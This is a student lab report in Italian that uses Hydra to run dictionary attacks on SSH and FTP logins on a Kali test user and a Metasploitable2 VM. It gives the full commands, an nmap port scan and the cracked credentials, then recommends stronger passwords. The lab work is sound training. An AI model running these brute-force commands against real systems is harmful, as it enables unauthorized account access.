

Progetto S6-L4

Studente: Simone Mininni

Task: Password cracking con hydra, sfruttare protocolli ssh, ftp, telnet , ecc...

Inizialmente l'ambiente di test riguardava solo la macchina kali. Quindi dopo aver creato uno user test, abbiamo attivato il servizio ssh e poi quello ftp provando ad entrare direttamente con le credenziali di accesso attuando un attacco a dizionario con hydra.

Attacco servizio ssh verso test_user:

```
(simone@kali)-[~/Desktop]
$ hydra -L crackSSH.txt -P crackSSH.txt 192.168.1.76 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret s
ervice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethi
cs anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 15:48:05
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a pre
vious session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 169 login tries (l:13/p:13), ~43 tries per task
[DATA] attacking ssh://192.168.1.76:22/
[22][ssh] host: 192.168.1.76 login: test_user password: testpass
[STATUS] 93.00 tries/min, 93 tries in 00:01h, 76 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 15:50:05
```

Attacco andato a buon fine, credenziali trovate:

User: test_user, password: testpass

```
(simone@kali)-[~/Desktop]
$ ssh test_user@192.168.1.76
test_user@192.168.1.76's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov  3 15:39:54 2023 from 192.168.1.76
(test_user@kali)-[~]
$
```

Attacco servizio ftp verso test_user:

```
(simone@kali)-[~/Desktop]
└─$ hydra -L crackSSH.txt -P crackSSH.txt 192.168.1.76 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret s
ervice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethi
cs anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 15:56:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 169 login tries (l:13/p:13), ~43 tries per task
[DATA] attacking ftp://192.168.1.76:21/
[21][ftp] host: 192.168.1.76 login: test_user password: testpass
[STATUS] 78.00 tries/min, 78 tries in 00:01h, 91 to do in 00:02h, 4 active
[STATUS] 77.00 tries/min, 154 tries in 00:02h, 15 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 15:58:52
```

User: test_user, password: testpass

```
(simone@kali)-[~/Desktop]
└─$ ftp test_user@192.168.1.76
Connected to 192.168.1.76.
220 (vsFTPD 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Attacco servizio ftp verso Metasploitable2:

Innanzitutto effettuiamo una scansione con nmap su l'ip della macchina target, per vedere se il servizio ftp è attivo su una porta.

```
(root@kali)-[/home/simone/Desktop]
└─$ nmap -sS 192.168.1.146
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-03 16:08 CET
Nmap scan report for 192.168.1.146
Host is up (0.00091s latency).
Not shown: 978 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:8D:82:AC (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 0.51 seconds
```

Dopo aver constatato che il servizio ftp è attivo in ascolto sulla porta 21(default), tentiamo l' attacco alle credenziali sempre con hydra:

```
(root@kali)~[/home/simone/Desktop]
# hydra -l msfadmin -P crackSSH.txt 192.168.1.146 -V ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 16:13:36
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking ftp://192.168.1.146:21/
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "password" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "admin" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "adminadmin" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "guest" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "test_user" - 5 of 14 [child 4] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "Password" - 6 of 14 [child 5] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "123456" - 7 of 14 [child 6] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "msfadmin" - 8 of 14 [child 7] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "pass123" - 9 of 14 [child 8] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "password123" - 10 of 14 [child 9] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "testpass" - 11 of 14 [child 10] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "test" - 12 of 14 [child 11] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "ciao" - 13 of 14 [child 12] (0/0)
[ATTEMPT] target 192.168.1.146 - login "msfadmin" - pass "" - 14 of 14 [child 13] (0/0)
[21][ftp] host: 192.168.1.146 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-11-03 16:13:40
```

Anche qui l' attacco va a buon fine con user: msfadmin e password: msfadmin possiamo accedere direttamente dalla "porta principale".

In questa fase abbiamo dimostrato quanto password deboli sono facilmente e velocemente individuabili...

Bisogna implementare delle password più complesse, almeno 8 caratteri con combinazione di lettere maiuscole, lettere minuscole, numeri e caratteri speciali.

Questo andrebbe ad aumentare esponenzialmente i tempi per trovare la password con un eventuale attacco bruteforce.

Fine.